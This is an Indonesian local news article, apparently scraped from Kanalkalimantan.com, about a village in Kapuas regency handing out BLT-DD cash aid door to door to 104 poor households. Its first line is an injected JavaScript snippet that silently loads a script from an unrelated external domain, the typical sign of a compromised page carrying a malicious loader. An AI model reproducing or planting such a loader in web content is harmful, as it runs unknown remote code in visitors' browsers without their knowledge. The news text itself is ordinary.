(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Desa Pulau Telo Baru Bagikan BLT-DD ke Keluarga Penerima Manfaat Secara Langsung


KANALKALIMANTAN. COM, KUALA KAPUAS – Pembagian Bantuan Langsung Tunai Dana Desa (BLT-DD) di Desa Pulau Telo Baru, Kecamatan Selat, dilakukan secara simbolis dengan mendatangi langsung Keluarga Penerima Manfaat (KPM) secara atau door to door.

Guna mengantisipasi bantuan yang tak tepat sasaran, aparat desa juga menempelkan stiker ‘Keluarga Miskin’ di rumah KPM. Pembagian ini dilaksanakan selama satu hari pada Kamis (4/6/2020).

Kades Pulau Telo Baru Gunawan menjelaskan pembagian BLT-DD untuk tahap pertama dilakukan secara door to door untuk memudahkan para penerima. Mengingat, di Desa Pulau Telo Baru sebagian besar penerima BLT-DD merupakan keluarga miskin yang sudah lanjut usia.

Untuk teknis pembagian, Gunawan menjelaskan, pihaknya membagi tim menjadi empat kelompok, yang masing-masing dikoordinir oleh ketua RT bergerak ke masing-masing wilayahnya. Gunawan melanjutkan, besaran DD yang dialokasikan untuk BLT ini sebesar Rp 112 juta selama tiga bulan. Sedangkan jumlah keluarga penerima manfaat sebanyak 104 KK. Sehingga untuk tahap pertama ini, anggaran yang digelontor sebesar Rp 62 juta.

Terkait proses penyaluran BLT-DD, Gunawan memaparkan pihaknya melibatkan relawan sudah melakukan pendataan dan verifikasi lapangan untuk memastikan kelayakan calon keluarga penerima BLT. Setelah itu, Badan Permusyawaratan Desa (BPD) setempat menggelar Musyawarah Desa Khusus untuk membahas dan menetapkan keluarga penerima manfaat.

“Banyak masyarakat yang belum paham dengan proses pendataan tersebut. Tetapi dengan penjelasan dari kami Pemerintah Desa dan BPD, akhirnya masyarakat bisa mengerti,” lanjutnya.

Ia berharap agar bantuan senilai Rp 600 ribu per bulan selama tiga bulan itu benar-benar bisa dimanfaatkan untuk memenuhi kebutuhan pokok. Dia tidak ingin ada oknum penerima yang menyalahgunakan dana bantuan yang diterima dari pemerintah tersebut,” jelasnya. (Kanalkalimantan.com/ags)

 

Reporter : Ags
Editor : Cell

 


Desy Arfianty

Recent Posts

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

13 menit ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

2 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

6 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

9 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

10 jam ago

9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 9 klien rehabilitasi narkoba mendapat fasilitas dan pendampingan rujukan ke Balai… Read More

10 jam ago